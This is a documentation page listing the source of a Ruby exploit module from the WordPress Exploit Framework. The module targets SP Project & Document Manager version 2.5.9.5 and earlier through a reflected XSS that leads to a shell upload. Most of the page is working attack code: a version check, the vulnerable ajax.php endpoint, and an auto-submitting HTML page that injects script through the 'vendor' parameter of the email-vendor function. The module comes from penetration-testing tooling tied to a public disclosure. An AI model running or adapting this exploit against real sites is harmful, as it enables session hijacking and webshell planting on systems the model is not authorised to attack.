class Wpxf::Exploit::SpProjectDocumentManagerReflectedXssShellUpload

Public Class Methods

new() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/sp_project_document_manager_reflected_xss_shell_upload.rb, line 6
def initialize
  super

  update_info(
    name: 'SP Project & Document Manager <= 2.5.9.5 Reflected XSS Shell Upload',
    author: [
      'Michael Helwig', # Disclosure
      'rastating'       # WPXF module
    ],
    references: [
      ['WPVDB', '8409'],
      ['URL', 'http://www.securityfocus.com/archive/1/537705/30/0/threaded']
    ],
    date: 'Mar 06 2016'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/sp_project_document_manager_reflected_xss_shell_upload.rb, line 23
def check
  check_plugin_version_from_readme('sp-client-document-manager', '2.5.9.6')
end
initial_script() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/sp_project_document_manager_reflected_xss_shell_upload.rb, line 31
def initial_script
  %|<html><head></head><body><script>
    #{js_post}
    post('#{vulnerable_url}?function=email-vendor', {
      "vendor_email[]": '1',
      vendor: '<script>#{xss_ascii_encoded_include_script}<\\/script>'
    });
  </script></body></html>
  |
end
vulnerable_url() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/sp_project_document_manager_reflected_xss_shell_upload.rb, line 27
def vulnerable_url
  normalize_uri(wordpress_url_plugins, 'sp-client-document-manager', 'admin', 'ajax.php')
end